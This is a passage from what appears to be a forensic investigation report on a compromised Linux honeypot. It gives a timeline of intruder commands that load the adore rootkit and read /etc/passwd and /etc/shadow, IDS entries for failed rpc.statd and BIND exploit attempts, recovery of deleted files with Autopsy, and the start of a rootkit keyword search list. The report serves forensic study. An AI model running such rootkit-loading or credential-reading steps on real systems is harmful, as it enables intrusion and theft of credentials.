<td>Aug 17 22:05:32</td>
<td></td>
<td></td>
<td>Cracker executes as root: echo /sbin/insmod a</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:35</td>
<td></td>
<td></td>
<td>Cracker executes as root: is</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:38</td>
<td></td>
<td></td>
<td>Cracker executes as root: insmod adore.o</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:44</td>
<td></td>
<td></td>
<td>Cracker executes as root: /sbin/insmod adore.o</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 22:05:44</td>
<td></td>
<td></td>
<td>/usr/lib/adore/adore.o is loaded as a kernel module</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:46</td>
<td></td>
<td></td>
<td>Cracker executes as root: ./s^H</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:52</td>
<td></td>
<td></td>
<td>Cracker executes as root: /sbin/insmod cleaner.o</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:05:54</td>
<td></td>
<td></td>
<td>Cracker executes as root: dir</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:10</td>
<td></td>
<td></td>
<td>Cracker executes as root: dir</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:11</td>
<td></td>
<td></td>
<td>Cracker executes as root: ls</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:14</td>
<td></td>
<td></td>
<td>Cracker executes as root:</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:15</td>
<td></td>
<td></td>
<td>Cracker executes as root:</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:17</td>
<td></td>
<td></td>
<td>Cracker executes as root: cd ..</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:22</td>
<td></td>
<td></td>
<td>Cracker executes as root: v</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:23</td>
<td></td>
<td></td>
<td>Cracker executes as root: cd /etc/</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17 22:06:24</td>
<td></td>
<td></td>
<td>Cracker executes as root: dir</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17 22:06:24</td>
<td></td>
<td></td>
<td>/usr/bin/dir was accessed</td>
</tr>
<tr>
<td>Source</td>
<td>Date</td>
<td>Time From</td>
<td>Time To</td>
<td>Summary of What Happened</td>
</tr>
<tr>
<td>------------</td>
<td>------------</td>
<td>-----------</td>
<td>--------------------</td>
<td>-----------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:28</td>
<td></td>
<td>Cracker executes as root: cd /vart</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:30</td>
<td></td>
<td>Cracker executes as root: cd /var</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:30</td>
<td></td>
<td>Cracker executes as root: ls</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:36</td>
<td></td>
<td>Cracker executes as root: cd /etc/</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:39</td>
<td></td>
<td>Cracker executes as root: cat sh</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:42</td>
<td></td>
<td>Cracker executes as root: cat passwd</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:06:47</td>
<td></td>
<td>Cracker executes as root: cat shadow</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>22:06:47</td>
<td></td>
<td>/etc/ shadow is accessed</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:07:07</td>
<td></td>
<td>Cracker executes as root: cat passwd</td>
</tr>
<tr>
<td>MAC</td>
<td>Aug 17</td>
<td>22:07:07</td>
<td></td>
<td>/bin/cat is executed</td>
</tr>
<tr>
<td>NS &amp; Syslog</td>
<td>Aug 17</td>
<td>22:07:21</td>
<td></td>
<td>Cracker executes as root: exit Exits root shell on honeypot</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:09:04</td>
<td></td>
<td>68.0.x.x does a RPC portmap request status</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:09:08</td>
<td></td>
<td>68.0.x.x does a remote exploit for rpc.statd with no success</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:09:08</td>
<td></td>
<td>68.0.x.x does a RPC portmap request status</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:09:08</td>
<td></td>
<td>68.0.x.x does a remote exploit for rpc.statd</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:11:43</td>
<td></td>
<td>24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:12:08</td>
<td></td>
<td>24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:12:09</td>
<td></td>
<td>24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success</td>
</tr>
<tr>
<td>FW &amp; IDS</td>
<td>Aug 17</td>
<td>22:12:10</td>
<td></td>
<td>24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success</td>
</tr>
</tbody>
</table>
**Source** | **Date** | **Time From** | **Time To** | **Summary of What Happened**
---|---|---|---|---
FW & IDS | Aug 17 22:12:10 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:12:11 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:12:14 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:12:16 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:12:17 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:13:45 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:13:55 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:14:16 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:15:02 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
FW & IDS | Aug 17 22:15:24 | 24.147.x.x tries the remote ISC Bind 8 TSIG exploit with no success
MAC | Aug 17 22:16:02 | Last MACtime: /dev/cdrom -> cdrom
| | | Believed time of the power outage

**Recovering Deleted Files**

Thomas Roessler's script, listed in the Advanced UNIX Forensics manual, was used to recover the deleted files on the honeypot image (Green, 1-10). The script had been changed slightly and is listed in Appendix 5. The changes included adding variables for the TCT tools, deleted file save directory, and automatically generating a file type list of the recovered files. The output generated from the script is below.

<table>
<thead>
<tr>
<th>Inode Ref. #</th>
<th>File Type</th>
<th>Inode Ref. #</th>
<th>File Type</th>
<th>Inode Ref. #</th>
<th>File Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>333259</td>
<td>ASCII text</td>
<td>160091</td>
<td>empty</td>
<td>144353</td>
<td>ASCII text</td>
</tr>
<tr>
<td>286033</td>
<td>ASCII text</td>
<td>160090</td>
<td>empty</td>
<td>144352</td>
<td>ASCII text</td>
</tr>
<tr>
<td>286032</td>
<td>empty</td>
<td>160089</td>
<td>empty</td>
<td>144351</td>
<td>ASCII text</td>
</tr>
<tr>
<td>207392</td>
<td>ASCII text</td>
<td>160088</td>
<td>data</td>
<td>144350</td>
<td>ASCII text</td>
</tr>
<tr>
<td>191588</td>
<td>ASCII text</td>
<td>160087</td>
<td>data</td>
<td>34265</td>
<td>ASCII text</td>
</tr>
<tr>
<td>191587</td>
<td>empty</td>
<td>160085</td>
<td>data</td>
<td>34264</td>
<td>data</td>
</tr>
<tr>
<td>191586</td>
<td>ASCII text</td>
<td>160084</td>
<td>data</td>
<td>18737</td>
<td>empty</td>
</tr>
<tr>
<td>175826</td>
<td>ASCII text</td>
<td>144354</td>
<td>ASCII text</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
When the files were reviewed, to see what each contained, it was noted that this was probably not the best way of doing this. Autopsy version 1.60 did a much better job with the recovery of the deleted files. It shows the full file name, MAC times, size, UID, GID, and the inode. The tabled format that Autopsy uses makes it easier to determine what was deleted and when. Below is the table Autopsy produced.

<table>
<thead>
<tr>
<th>Type</th>
<th>dir/in</th>
<th>Name</th>
<th>Modified Time</th>
<th>Accessed Time</th>
<th>Changed Time</th>
<th>Size (bytes)</th>
<th>UID</th>
<th>GID</th>
<th>Inode</th>
</tr>
</thead>
<tbody>
<tr>
<td>r/r</td>
<td>/var/lib/xkb/server-0.x km</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>1 0 0 207392</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/lib/texmf/lsR894.tmp</td>
<td>2002.08.1 7 15:40:25(EDT)</td>
<td>2002.08.1 7 15:40:25(EDT)</td>
<td>2002.08.1 7 15:40:26(EDT)</td>
<td>79 0 0 112717 (realloc)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/lib/xkb/server-0.x km</td>
<td>2002.08.1 7 22:02:40(EDT)</td>
<td>2002.08.1 7 22:02:40(EDT)</td>
<td>2002.08.1 7 22:02:40(EDT)</td>
<td>0 0 0 81439 (realloc)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/run/ftp.pids-all</td>
<td>2002.08.1 7 21:49:12(EDT)</td>
<td>2002.08.1 7 21:49:12(EDT)</td>
<td>2002.08.1 7 22:02:15(EDT)</td>
<td>4096 0 0 175826</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/spool/mail/CN.5 HwX9.thornapple.ba</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>1 0 0 207392</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/spool/mail/root.lock</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>1 0 0 207392</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/spool/cron/tmp.8 35</td>
<td>2002.08.1 7 21:23:27(EDT)</td>
<td>2002.08.1 7 22:02:33(EDT)</td>
<td>2002.08.1 7 21:23:27(EDT)</td>
<td>234 0 0 286030 (realloc)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/spool/mqueue/qf WAA00823</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>576 0 0 191586</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/spool/mqueue/xf WAA00823</td>
<td>2002.08.1 7 22:10:00(EDT)</td>
<td>2002.08.1 7 22:10:00(EDT)</td>
<td>2002.08.1 7 22:10:00(EDT)</td>
<td>0 0 0 191587</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/spool/mqueue/df WAA00823</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>2002.08.1 7 22:10:01(EDT)</td>
<td>25 0 0 191588</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>Dir/in</td>
<td>Name</td>
<td>Modified Time</td>
<td>Accessed Time</td>
<td>Changed Time</td>
<td>Size (bytes)</td>
<td>UID</td>
<td>GID</td>
<td>Inode</td>
</tr>
<tr>
<td>------</td>
<td>--------</td>
<td>------</td>
<td>---------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------</td>
<td>-----</td>
<td>-----</td>
<td>-------</td>
</tr>
<tr>
<td>r/r</td>
<td>/var/tmp/rpm-tmp.28939</td>
<td>2000.02.0</td>
<td>7 13:27:14(EST)</td>
<td>2000.02.0</td>
<td>1668</td>
<td>0</td>
<td>0</td>
<td>270578 (realloc)</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/var/named/named.ca.org</td>
<td>2000.02.0</td>
<td>7 21:11:19(EST)</td>
<td>2000.02.0</td>
<td>2769</td>
<td>0</td>
<td>0</td>
<td>16145 (realloc)</td>
<td></td>
</tr>
<tr>
<td>-/d</td>
<td>/tmp/orbit-root/orb-2120287517689955197</td>
<td>2002.08.1</td>
<td>7 20:52:32(EDT)</td>
<td>2002.08.1</td>
<td>4096</td>
<td>0</td>
<td>0</td>
<td>347442 (realloc)</td>
<td></td>
</tr>
<tr>
<td>-/d</td>
<td>/tmp/orbit-root/orb-8063492881774860032</td>
<td>2002.08.1</td>
<td>7 20:52:32(EDT)</td>
<td>2002.08.1</td>
<td>4096</td>
<td>0</td>
<td>0</td>
<td>347462 (realloc)</td>
<td></td>
</tr>
<tr>
<td>-r</td>
<td>/tmp/orbit-root/orb-1697065662401279193</td>
<td>1999.09.1</td>
<td>3 17:09:54(EDT)</td>
<td>2002.08.1</td>
<td>885</td>
<td>0</td>
<td>0</td>
<td>347463 (realloc)</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/cclcTC64.i</td>
<td>2002.08.1</td>
<td>7 22:05:32(EDT)</td>
<td>2002.08.1</td>
<td>58769</td>
<td>0</td>
<td>0</td>
<td>160084</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/cc1hu0YG.s</td>
<td>2002.08.1</td>
<td>7 22:05:32(EDT)</td>
<td>2002.08.1</td>
<td>3130</td>
<td>0</td>
<td>0</td>
<td>160085</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/ccz994qv.o</td>
<td>2002.08.1</td>
<td>7 22:05:32(EDT)</td>
<td>2002.08.1</td>
<td>3648</td>
<td>0</td>
<td>0</td>
<td>160087</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/ccVmwc3D.o</td>
<td>2002.08.1</td>
<td>7 22:05:32(EDT)</td>
<td>2002.08.1</td>
<td>1936</td>
<td>0</td>
<td>0</td>
<td>160088</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/ckk2fPTg.c</td>
<td>2002.08.1</td>
<td>7 22:05:33(EDT)</td>
<td>2002.08.1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>160089</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/ccMjMfDn.o</td>
<td>2002.08.1</td>
<td>7 22:05:33(EDT)</td>
<td>2002.08.1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>160090</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/tmp/cc057glu.ld</td>
<td>2002.08.1</td>
<td>7 22:05:33(EDT)</td>
<td>2002.08.1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>160091</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/doc/libtool-1.3.4/dem/oautoh374</td>
<td>2002.08.1</td>
<td>7 15:35:26(EDT)</td>
<td>2002.08.1</td>
<td>380</td>
<td>0</td>
<td>0</td>
<td>80368 (realloc)</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>dir/in</td>
<td>Name</td>
<td>Modified Time</td>
<td>Accessed Time</td>
<td>Changed Time</td>
<td>Size (bytes)</td>
<td>UID</td>
<td>GID</td>
<td>Inode</td>
</tr>
<tr>
<td>------</td>
<td>--------</td>
<td>------</td>
<td>---------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------</td>
<td>-----</td>
<td>-----</td>
<td>-------</td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/X11R6/include/X11/bitmaps/xsnow-RPMDELETE</td>
<td></td>
<td>2000.03.06 11:19:01(EST)</td>
<td>2000.03.06 11:19:01(EST)</td>
<td>2002.08.17 15:28:04(EDT)</td>
<td>83206</td>
<td>0</td>
<td>0</td>
<td>157720</td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/X11R6/lib/X11/fonts/Type1/.courage.pfa.swp</td>
<td></td>
<td>2002.08.17 20:34:58(EDT)</td>
<td>2002.08.17 20:34:45(EDT)</td>
<td>2002.08.17 20:34:58(EDT)</td>
<td>2612200</td>
<td>0</td>
<td>0</td>
<td>301770</td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/X11R6/lib/X11/fonts/Type1/.courage.pfa.swx</td>
<td></td>
<td>2002.08.17 20:34:59(EDT)</td>
<td>2002.08.17 20:34:46(EDT)</td>
<td>2002.08.17 20:34:59(EDT)</td>
<td>2367452</td>
<td>0</td>
<td>0</td>
<td>301772</td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/share/texmf/fonts/tfm/public/latex/linewriter8.ttf-RPMDELETE</td>
<td></td>
<td>1995.08.14 14:32:16(EDT)</td>
<td>1995.08.14 14:32:16(EDT)</td>
<td>2002.08.17 15:40:15(EDT)</td>
<td>748</td>
<td>0</td>
<td>0</td>
<td>2421</td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/share/texmf/fonts/vf/adobe/pslatex/prerr8tn.vf-RPMDELETE</td>
<td></td>
<td>1996.07.24 08:04:00(EDT)</td>
<td>1996.07.24 08:04:00(EDT)</td>
<td>2002.08.17 15:40:15(EDT)</td>
<td>2984</td>
<td>0</td>
<td>0</td>
<td>2440</td>
</tr>
<tr>
<td>r/r</td>
<td>/usr/share/texmf/lsR894.tmp</td>
<td></td>
<td>2002.08.17 15:40:25(EDT)</td>
<td>2002.08.17 15:40:23(EDT)</td>
<td>2002.08.17 15:40:25(EDT)</td>
<td>84421</td>
<td>0</td>
<td>0</td>
<td>317409</td>
</tr>
<tr>
<td>r/r</td>
<td>/etc/rc.d/init.d/1~</td>
<td></td>
<td>2002.08.17 22:05:32(EDT)</td>
<td>2002.08.17 22:05:32(EDT)</td>
<td>2002.08.17 22:05:33(EDT)</td>
<td>3648</td>
<td>0</td>
<td>0</td>
<td>160087</td>
</tr>
<tr>
<td>l/r</td>
<td>/etc/rc.d/rc0.d/K83yp.bind</td>
<td></td>
<td>2002.08.17 20:35:02(EDT)</td>
<td>2002.08.17 20:35:02(EDT)</td>
<td>2002.08.17 20:35:03(EDT)</td>
<td>17121</td>
<td>0</td>
<td>0</td>
<td>144348</td>
</tr>
<tr>
<td>Type</td>
<td>Name</td>
<td>Modified Time</td>
<td>Accessed Time</td>
<td>Changed Time</td>
<td>Size (bytes)</td>
<td>UID</td>
<td>GID</td>
<td>Inode</td>
<td></td>
</tr>
<tr>
<td>------</td>
<td>------</td>
<td>---------------</td>
<td>---------------</td>
<td>--------------</td>
<td>--------------</td>
<td>-----</td>
<td>-----</td>
<td>-------</td>
<td></td>
</tr>
<tr>
<td>l/r</td>
<td>/etc/rc.d/rc1.d/K83yp bind</td>
<td>2002.08.1 7 20:35:03(EDT)</td>
<td>2002.08.1 7 20:35:03(EDT)</td>
<td>2002.08.1 17 20:35:03(EDT)</td>
<td>10634</td>
<td>0</td>
<td>0</td>
<td>144349 (realloc)</td>
<td></td>
</tr>
<tr>
<td>l/l</td>
<td>/etc/rc.d/rc2.d/K83yp bind</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 17 15:42:11(EDT)</td>
<td>16</td>
<td>0</td>
<td>0</td>
<td>144350</td>
<td></td>
</tr>
<tr>
<td>l/l</td>
<td>/etc/rc.d/rc3.d/K83yp bind</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 17 15:42:11(EDT)</td>
<td>16</td>
<td>0</td>
<td>0</td>
<td>144351</td>
<td></td>
</tr>
<tr>
<td>l/l</td>
<td>/etc/rc.d/rc4.d/K83yp bind</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 17 15:42:11(EDT)</td>
<td>16</td>
<td>0</td>
<td>0</td>
<td>144352</td>
<td></td>
</tr>
<tr>
<td>l/l</td>
<td>/etc/rc.d/rc6.d/K83yp bind</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 7 15:41:35(EDT)</td>
<td>2002.08.1 17 15:42:11(EDT)</td>
<td>16</td>
<td>0</td>
<td>0</td>
<td>144354</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/etc/pam.d/.rlogin.swp</td>
<td>2002.08.1 7 20:33:30(EDT)</td>
<td>2002.08.1 7 20:33:22(EDT)</td>
<td>2002.08.1 17 20:33:30(EDT)</td>
<td>4096</td>
<td>0</td>
<td>0</td>
<td>34264</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/etc/pam.d/rlogin~</td>
<td>2002.08.1 7 20:33:01(EDT)</td>
<td>2002.08.1 7 20:33:22(EDT)</td>
<td>2002.08.1 17 20:33:30(EDT)</td>
<td>394</td>
<td>0</td>
<td>0</td>
<td>34265</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/etc/mtab~361</td>
<td>2002.08.1 7 22:02:31(EDT)</td>
<td>2002.08.1 7 22:02:31(EDT)</td>
<td>2002.08.1 17 22:02:31(EDT)</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>286032</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/etc/mtab~</td>
<td>2002.08.1 7 22:02:31(EDT)</td>
<td>2002.08.1 7 22:02:31(EDT)</td>
<td>2002.08.1 17 22:02:31(EDT)</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>286032</td>
<td></td>
</tr>
<tr>
<td>r/l</td>
<td>/bin/ash.static</td>
<td>2002.08.1 7 20:10:09(EDT)</td>
<td>2002.08.1 7 20:45:34(EDT)</td>
<td>2002.08.1 17 20:10:09(EDT)</td>
<td>9</td>
<td>0</td>
<td>0</td>
<td>330888 (realloc)</td>
<td></td>
</tr>
<tr>
<td>l/d</td>
<td>/bin/bsh</td>
<td>2002.08.1 7 15:34:09(EDT)</td>
<td>2002.08.1 7 15:42:13(EDT)</td>
<td>2002.08.1 17 20:52:22(EDT)</td>
<td>4096</td>
<td>0</td>
<td>0</td>
<td>330889 (realloc)</td>
<td></td>
</tr>
<tr>
<td>r/r</td>
<td>/boot/map~</td>
<td>2002.08.1 7 15:42:29(EDT)</td>
<td>2002.08.1 7 20:45:39(EDT)</td>
<td>2002.08.1 17 15:42:29(EDT)</td>
<td>10240</td>
<td>0</td>
<td>0</td>
<td>33344 (realloc)</td>
<td></td>
</tr>
<tr>
<td>d/d</td>
<td>/root/.gnome/metadat a.lock</td>
<td>2002.08.1 7 20:52:46(EDT)</td>
<td>2002.08.1 7 22:03:37(EDT)</td>
<td>2002.08.1 17 20:52:46(EDT)</td>
<td>4096</td>
<td>0</td>
<td>0</td>
<td>160072 (realloc)</td>
<td></td>
</tr>
</tbody>
</table>
The intruder did not delete any files. That could be one of the reasons the intruder was trying to get back into the system because they forgot to cover their tracks. A couple of other files were recovered, however, to show that file recovery was possible. The first file is /var/named/named.ca.org which was a copy of the named.ca file and was deleted when the honeypot was setup. Below is the report that Autopsy generates when recovering the file and it shows the contents of the file.

```
Autopsy ascii Report (ver 1.60)

-----------------------------------------------------
File: /var/named/named.ca.org
MD5 of file: cffd2baffb5af8411b011fac3ab5d670
Image: /data/forensics/morgue/honeypot_hde1.img
Image Type: linux-ext2
Investigator: Keven Murphy
```

Page: 32 of 132
This file holds the information on root name servers needed to initialize cache of Internet domain name servers (e.g. reference this file in the "cache . <file>" configuration file of BIND domain name servers).

This file is made available by InterNIC registration services under anonymous FTP as

    file /domain/named.root
    on server FTP.RS.INTERNIC.NET
    -OR- under Gopher at RS.INTERNIC.NET
    under menu InterNIC Registration Services (NSI)
    submenu InterNIC Registration Archives
    file named.root
; last update:  Aug 22, 1997
; related version of root zone:  1997082200

; formerly NS.INTERNIC.NET
.
.                        3600000  IN  NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     198.41.0.4
.
; formerly NS1.ISI.EDU
.
.                        3600000      NS    B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET.      3600000      A     128.9.0.107
.
; formerly C.PSI.NET
.
.                        3600000      NS    C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET.      3600000      A     192.33.4.12
.
; formerly TERP.UMD.EDU
.
.                        3600000      NS    D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET.      3600000      A     128.8.10.90
.
; formerly NS.NASA.GOV
.
.                        3600000      NS    E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET.      3600000      A     192.203.230.10
.
; formerly NS.ISC.ORG
.
.                        3600000      NS    F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET. 3600000 A 192.5.5.241
;
; formerly NS.NIC.DDN.MIL
;
  3600000 NS G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET. 3600000 A 192.112.36.4
;
; formerly AOS.ARL.ARMY.MIL
;
  3600000 NS H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET. 3600000 A 128.63.2.53
;
; formerly NIC.NORDU.NET
;
  3600000 NS I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET. 3600000 A 192.36.148.17
;
; temporarily housed at NSI (InterNIC)
;
  3600000 NS J.ROOT-SERVERS.NET.
J.ROOT-SERVERS.NET. 3600000 A 198.41.0.10
;
; housed in LINX, operated by RIPE NCC
;
  3600000 NS K.ROOT-SERVERS.NET.
K.ROOT-SERVERS.NET. 3600000 A 193.0.14.129
;
; temporarily housed at ISI (IANA)
;
  3600000 NS L.ROOT-SERVERS.NET.
L.ROOT-SERVERS.NET. 3600000 A 198.32.64.12
Another file that was recovered is called /var/lib/texmf/lsR894.tmp. This file was deleted by the OS and is related to the kpathsea database.

Autopsy ascii Report (ver 1.60)

File: /var/lib/texmf/lsR894.tmp
MD5 of file: 04b754e30d0d49e98fd4d2a2f6cc9931
Image: /data/forensics/morgue/honeypot_hde1.img
Image Type: linux-ext2
Investigator: Keven Murphy

inode: 112717
Allocated
Group: 7
uid / gid: 0 / 0
mode: -rw-rw-rw-
size: 79
num of links: 1

Inode Times:
Inode Modified: Sat Aug 17 15:40:26 2002

Direct Blocks: 234542
The last file recovered for this section was /etc/X11/fs/config-. This file was probably deleted by the OS during the first boot of the OS while performing the final configuration.

Autopsy ascii Report (ver 1.60)

File: /etc/X11/fs/config-
MD5 of file: 632894a15cc5e0109e658fd7506846e1
Image: /data/forensics/morgue/honeypot_hde1.img
Image Type: linux-ext2
Date Generated: Wed Aug 28 14:32:57 2002
Investigator: Keven Murphy

inode: 205730
Allocated
Group: 13
uid / gid: 0 / 0
mode: -rw-r--r--
size: 844
num of links: 1

Inode Times:
Inode Modified: Sat Aug 17 15:31:36 2002
# Default font server configuration file for Red Hat Linux

# allow a max of 10 clients to connect to this font server
client-limit = 10

# when a font server reaches its limit, start up a new one
clone-self = on

# alternate font servers for clients to use
#alternate-servers = foo:7101,bar:7102

# where to look for fonts
#
catalogue = /usr/X11R6/lib/X11/fonts/misc:unscaled,
/usr/X11R6/lib/X11/fonts/75dpi:unscaled,
/usr/X11R6/lib/X11/fonts/misc,
/usr/X11R6/lib/X11/fonts/Type1,
/usr/X11R6/lib/X11/fonts/Speedo,
/usr/X11R6/lib/X11/fonts/75dpi,
/usr/share/fonts/default/TrueType,
/usr/share/fonts/default/Type1

# in 12 points, decipoints
default-point-size = 120
Each one of the files was recovered by using Autopsy. The File Browsing tab was clicked on the left panel. Then “All Deleted Files” was clicked on. The upper right panel changed and displayed the deleted files, links, and directories on the root file system for the honeypot image. The list was perused paying close attention to the filename and the MAC times. When something of interest was found, the filename was clicked on. Then bottom right panel would changed. It contained information on the file like the file type and allows the researcher to look at the contents of the file. If the file is one that needs to be saved for further analysis, the “export” link is clicked. By doing that, a “save as” box is displayed on the screen and it allows the researcher to save the file. The other nice feature in the bottom panel is the “ASCII (display – report)” and “Strings (display – report)” links. When the ASCII report and Strings report link is clicked, a report like the ones above is produced in a new browser window and can be saved.

**String Search**

The list of keywords below were searched for. This list mainly consists of rootkit names. Commonly a rootkit would be installed by the cracker on the system. Also, it is possible the cracker may install a trojan on the system, so a few of the more well know trojans were added to the list. The final items in the list consist of miscellaneous items like passwd, shadow, and “hacker” words like r00t. The list was generated by using [Google.com](http://www.google.com) to search with the search criteria Linux and rootkit. The Simovits Consulting site at [http://www.simovits.com/trojans/trojans_workson.html](http://www.simovits.com/trojans/trojans_workson.html) contained the biggest list on Linux rootkits.

<table>
<thead>
<tr>
<th>R00T</th>
<th>haxOr</th>
